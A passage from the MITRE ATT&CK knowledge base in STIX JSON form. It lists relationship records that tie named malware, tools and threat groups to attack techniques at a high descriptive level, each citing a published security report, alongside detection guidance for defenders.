2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--346d9aa5-2d93-4843-a219-e0cb79bf6362","created":"2022-06-13T15:51:01.115Z","x_mitre_version":"0.1","external_references":[{"source_name":"Accenture Lyceum Targets November 2021","url":"https://www.accenture.com/us-en/blogs/cyber-defense/iran-based-lyceum-campaigns","description":"Accenture. (2021, November 9). Who are latest targets of cyber group Lyceum?. Retrieved June 16, 2022."},{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) has the ability to use `CMD` to execute commands.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)","modified":"2022-06-16T15:12:20.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--34709fc8-8aa3-4098-a347-18b391ead8d2","created":"2022-03-30T14:26:51.854Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-14T13:21:19.574Z","description":"Monitor for newly constructed user and service accounts through account audits to detect suspicious accounts that may have been created by an adversary. Collect data on account creation within a network, a Kubernetes cluster, or Windows Event ID 4720 (for when a user account is created on a Windows system and domain controller).","relationship_type":"detects","source_ref":"x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3471a32a-47fc-4ba7-ac67-887d9872e316","created":"2022-08-24T15:06:56.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Medium Ali Salem Bumblebee April 2022","description":"Salem, A. (2022, April 27). The chronicles of Bumblebee: The Hook, the Bee, and the Trickbot connection. Retrieved September 2, 2022.","url":"https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-06T13:42:30.944Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can deobfuscate C2 server responses and unpack its code on targeted hosts.(Citation: Proofpoint Bumblebee April 2022)(Citation: Medium Ali Salem Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34775b6e-f7dd-4b0f-bbb4-c696bfbda1c2","type":"relationship","created":"2020-07-16T15:10:35.345Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:10:35.345Z","description":"[Bonadan](https://attack.mitre.org/software/S0486) has discovered the OS version, CPU model, and RAM size of the system it has been installed on.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--347aa8dd-7fb9-45b0-9472-6894b881ebf1","created":"2024-05-22T19:22:40.000Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T19:22:40.000Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) has deployed base64-encoded variants of [ASPXSpy](https://attack.mitre.org/software/S0073) to evade detection.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--347b7512-1e76-456f-9f04-0179d056ca9a","created":"2022-04-13T16:56:43.932Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes KONNI Evolves Jan 2022","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/konni-evolves-into-stealthier-rat/","description":"Santos, R. (2022, January 26). KONNI evolves into stealthier RAT. Retrieved April 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has been packed for obfuscation.(Citation: Malwarebytes KONNI Evolves Jan 2022)","modified":"2022-04-13T16:56:43.932Z","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--347de212-26bf-4ad4-963f-c4dfa3c821d1","type":"relationship","created":"2020-06-30T00:39:39.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:39:39.895Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) has used sc.exe to execute a service that it creates.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--347ee2ed-7def-45ac-9935-063a679859ae","type":"relationship","created":"2019-01-31T00:23:06.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","source_name":"Unit 42 Nokki Oct 2018"}],"modified":"2020-03-17T01:19:36.888Z","description":"[Final1stspy](https://attack.mitre.org/software/S0355) uses Python code to deobfuscate base64-encoded strings.(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34810a1f-a9bd-4f1b-bbdc-4e8c4ec1ef21","type":"relationship","created":"2020-08-11T21:15:35.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-08-11T21:15:35.493Z","description":"[RDAT](https://attack.mitre.org/software/S0495) has executed commands using cmd.exe /c.(Citation: Unit42 RDAT July 2020)\t","relationship_type":"uses","source_ref":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--348979f0-db3e-436f-951d-ff1e2d024c61","created":"2022-06-16T19:16:08.245Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed network connections that may use Valid Accounts to access and/or persist within a network using External Remote Services. Use of External Remote Services may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using External Remote Services.","modified":"2022-06-16T19:16:08.245Z","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3489e01e-e104-47d4-87fe-406269d8fdb9","type":"relationship","created":"2022-03-30T14:26:51.834Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.834Z","description":"Monitor executed commands and arguments that may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--348ac89f-1a85-4ab2-887f-4e58dfc14853","type":"relationship","created":"2020-11-19T18:02:58.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T18:02:58.371Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has the capability to enumerate services.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--348d10f4-8519-47a0-89d4-24119c18b638","type":"relationship","created":"2022-03-24T22:31:32.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T22:31:32.742Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can enumerate shares on a compromised host.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--348f9f2e-c959-4485-9a0b-e95f6d4ceb72","created":"2019-01-30T13:24:09.083Z","x_mitre_version":"1.0","external_references":[{"source_name":"Securelist Octopus Oct 2018","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Octopus](https://attack.mitre.org/software/S0340) can collect the username from the victim’s machine.(Citation: Securelist Octopus Oct 2018)","modified":"2022-04-06T17:24:19.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e2031fd5-02c2-43d4-85e2-b64f474530c2","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--349025c3-f266-41ce-a738-330b5e7f1b4e","created":"2022-04-09T14:33:52.087Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) has been disguised as the Windows Power Efficiency Diagnostics report tool.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-13T11:11:47.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3495a807-c530-4128-bdca-44363c55e669","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for changes made to files that may stop or disable services on a system to render those services unavailable to legitimate users.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3499e2c5-e22a-4e99-ae90-3c7b48aa5ccb","created":"2023-01-05T19:59:55.184Z","revoked":false,"external_references":[{"source_name":"Google Iran Threats October 2021","description":"Bash, A. (2021, October 14). Countering threats from Iran. Retrieved January 4, 2023.","url":"https://blog.google/threat-analysis-group/countering-threats-iran/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-05T19:59:55.184Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has captured the user-agent strings from visitors to their phishing sites.(Citation: Google Iran Threats October 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--349bc11d-b377-410b-9232-2c5f0fbde031","type":"relationship","created":"2022-02-25T20:50:26.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft FTP","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp","description":"Microsoft. (2021, July 21). ftp. Retrieved February 25, 2022."},{"source_name":"Linux FTP","url":"https://linux.die.net/man/1/ftp","description":"N/A. (n.d.). ftp(1) - Linux man page. Retrieved February 25, 2022."}],"modified":"2022-03-07T22:20:19.061Z","description":"[ftp](https://attack.mitre.org/software/S0095) may be abused by adversaries to transfer tools or files between systems within a compromised environment.(Citation: Microsoft FTP)(Citation: Linux FTP)","relationship_type":"uses","source_ref":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34a06e23-b81c-45c7-96bc-7e08d31a4a44","type":"relationship","created":"2020-07-15T19:06:50.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"IBM IcedID November 2017","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020."}],"modified":"2020-07-15T19:06:50.610Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has the ability to identify Workgroup membership.(Citation: IBM IcedID November 2017)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34a45578-1deb-4c58-8719-9c04f4fa7dfc","type":"relationship","created":"2021-08-23T19:38:33.322Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-08-23T19:38:33.323Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) looks for and attempts to stop anti-malware solutions.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34ad093b-408b-4694-8aba-862f8de10102","type":"relationship","created":"2020-11-09T16:28:37.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-09T16:28:37.700Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) has used malicious VBS e-mail attachments for execution.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34b96e5d-1b2a-4ca5-89b5-7de398966bea","type":"relationship","created":"2021-04-13T20:27:51.719Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:14:29.326Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129)'s [PlugX](https://attack.mitre.org/software/S0013) variant has created a hidden folder on USB drives named RECYCLE.BIN to store malicious executables and collected data.(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34c4b497-00e3-415c-8e09-3b73667d9bbe","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT29","description":"FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved September 17, 2015.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf"}],"modified":"2020-03-20T22:43:39.157Z","description":"[HAMMERTOSS](https://attack.mitre.org/software/S0037) is controlled via commands that are appended to image files.(Citation: FireEye APT29)","relationship_type":"uses","source_ref":"malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34c6a059-9496-4f1e-9331-c1986e62b6a1","type":"relationship","created":"2021-06-03T19:52:01.089Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-03T19:52:01.089Z","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) can use public and private key pair encryption to encrypt files for ransom payment.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--34c81138-a5b5-4158-bdb7-18be1c52acc6","created":"2021-10-14T16:29:19.203Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T20:55:38.502Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has added user accounts to local Admin groups.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--3e6831b2-bf4c-4ae6-b328-2e7c6633b291","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--34cb1bf0-c738-4637-84cc-c0472b105669","created":"2021-01-22T18:59:40.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.418Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has dumped password hashes for use in pass the hash authentication attacks.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34cb97d2-b8ae-46e8-a8f7-caca4214820e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"}],"modified":"2020-01-17T19:33:18.057Z","description":"[Calisto](https://attack.mitre.org/software/S0274) runs the ifconfig command to obtain the IP address from the victim’s machine.(Citation: Securelist Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--34d105a6-47ac-4a8b-b892-6f630cd97096","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 